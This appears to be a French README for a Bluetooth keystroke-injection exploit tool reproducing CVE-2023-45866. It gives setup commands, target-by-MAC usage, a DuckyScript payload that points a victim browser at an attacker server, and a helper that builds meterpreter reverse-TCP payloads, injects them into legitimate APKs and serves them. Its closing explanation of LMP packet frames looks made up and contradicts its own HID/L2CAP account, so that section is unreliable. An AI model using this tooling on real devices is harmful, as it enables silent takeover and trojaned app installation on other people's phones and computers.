blueXploit

vidéo blueXploit

• blueXploit est ma propre preuve de concept qui reproduit CVE-2023-45866, la vulnérabilité d'injection de frappes via Bluetooth découverte par Marc Newlin. Elle exploite une faille dans le protocole Bluetooth pour injecter des frappes dans un appareil cible sans appairage, ouvrant la voie à des attaques plus complexes.

Attribution. La vulnérabilité et l'exploit original sont le travail de Marc Newlin (hi_my_name_is_keyboard) — je ne revendique pas la découverte. Ce dépôt est une reproduction construite pour comprendre et documenter le bug ; par-dessus, blueXploit ajoute un exécuteur de payloads de style DuckyScript, un mécanisme de reconnexion/réessai, et un assistant optionnel d'injection d'APK Android. Tout ce qui se trouve ici est destiné uniquement à l'éducation et à la recherche.

Fonctionnement de la vulnérabilité

Ces vulnérabilités critiques (CVE-2023-45866, CVE-2024-21306) permettent à un attaquant d'injecter des frappes et d'accepter des demandes d'appairage sans confirmation de l'utilisateur. Cela affecte gravement la sécurité de plusieurs systèmes d'exploitation.

Systèmes affectés

• Android : 4.2 à 14 (11–14 si le correctif du 2023-12-05 est absent)
• Linux : nécessite un correctif BlueZ.
• macOS : 12 à 14.2 (correctif partiel).
• iOS : 16 (vulnérable), corrigé dans iOS 17.2.
• Windows : corrigé lors du « Patch Tuesday » de janvier 2024.

Impact

• La vulnérabilité permet le contrôle à distance d'un appareil en injectant des frappes même sans accepter l'appairage Bluetooth, en forçant la connexion et en exécutant des commandes clavier.

Exemples d'attaques

• Exécution de commandes à distance : contrôle des appareils vulnérables via des frappes injectées, où les vecteurs d'attaque sont multiples — de l'obtention d'un shell à l'installation d'applications malveillantes.
• Attaques par déni de service (DoS) : inondation des appareils avec des demandes d'appairage.

Atténuation

• Mettre à jour les appareils avec les derniers correctifs système.
• Désactiver le Bluetooth lorsqu'il n'est pas utilisé (cela empêche tout exploit de cette vulnérabilité de s'exécuter).
• Éviter l'appairage avec des appareils inconnus.

blueXploit - utilisation et démo

• Basé sur l'exploit original de Marc Newlin.

• Installation des dépendances

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus apktool metasploit-framework \
                    keytool openjdk-23-jdk

sudo apt autoremove && sudo apt autoclean  

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Utilisation d'APKPwn + blueXploit

blueXploit inclut des outils pour exploiter les vulnérabilités sur les appareils Android, offrant deux composants principaux et un programme supplémentaire appelé apkpwn_injector, situé dans le dossier injector.

Fonctionnalités d'APKPwn

• Automatise la création de payloads android/meterpreter/reverse_tcp à l'aide de msfvenom.
• Injecte ces payloads dans des applications .apk existantes dans le dossier apk_clean.
• Configure un serveur local pour servir les applications malveillantes générées.

Ces fonctionnalités permettent un flux d'attaque efficace et simplifié dans des environnements contrôlés ou pour des tests d'intrusion.

cd injector
python3 apkpwn_injector.py

Créer ou modifier un duckypayload

Les commandes clés exécutées par blueXploit sont chargées depuis le dossier /injector/payloads/ au format .txt, avec une syntaxe simple et facile à comprendre.

exemple de duckypayload

DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
             

Changez l'adresse IP par celle où le serveur est hébergé.

Détection et énumération des appareils

bluetoothctl

Rechercher des appareils Bluetooth

scan on

Exécuter

python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF

Sélectionnez ensuite la charge utile requise, préalablement configurée.

Démo

La démo complète se trouve dans cette vidéo

Matériel utilisé

• Raspberry Pi 4
• Kali Linux ARM64

CVE-2023-45866 expliquée

Cette vulnérabilité est exploitée à un bas niveau du protocole Bluetooth, en manipulant principalement le profil HID et le protocole L2CAP pour injecter des frappes clavier dans un appareil victime.

1. Le protocole Bluetooth à bas niveau

La pile Bluetooth comprend plusieurs couches, telles que le Link Manager Protocol (LMP), la Host Controller Interface (HCI) et L2CAP. Cette attaque utilise principalement les deux dernières :

• HCI : la configuration de l'adaptateur est manipulée afin qu'il se présente comme un périphérique HID légitime.

• L2CAP : responsable du multiplexage des données entre les appareils, L2CAP utilise le canal 17 (HID Control) et le canal 19 (HID Interrupt) pour la communication HID, ce qui peut être exploité pour envoyer des séquences de touches.

Exploitation de CVE-2023-45866

CVE-2023-45866 est une vulnérabilité du Link Manager Protocol (LMP), exploitée via une attaque de « forced pairing ». Voici comment elle est menée techniquement :

• LMP gère les demandes d'appairage et la configuration du lien.
• Des paquets LMP malformés ou non authentifiés sont envoyés pour forcer l'appairage, comme ceci :

LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00

Dans cette trame de données :

• 0x01 : demande d'appairage LMP
• 0x01 : demande d'authentification LMP (PIN)
• 0x00 0x00 0x00 0x00 : informations de PIN faible, généralement 0000

Ici, l'exploit tire parti de l'absence de configuration et d'authentification pour ce paquet, ce qui finit par renvoyer :

  LMP Accept: 0x02 0x00 0x00 0x00 0x00

Dans cette trame de données :

• 0x02 : demande d'appairage LMP ACCEPTÉE
• 0x00 0x00 0x00 0x00 : informations de PIN malformées renvoyées

Si la clé n'est pas validée correctement, la connexion est établie mais sans véritable appairage, de sorte qu'un paquet LMP d'appairage forcé peut être envoyé comme ceci :

  LMP Forced Pairing: 0x03 0x01 0x0000

L'authentification peut ensuite être forcée à l'aide de clés précédemment divulguées (telles que « 0000 ») et un canal de communication chiffré peut être établi, appairant les appareils sans passer par un processus de vérification approprié.

Cela crée un appairage à l'insu de l'utilisateur, et même sans aucune fenêtre d'appairage ni notification.

La faille de ce CVE réside dans le fait que certains appareils ne valident pas correctement les requêtes d'authentification LMP, ou finissent par réutiliser d'anciennes clés.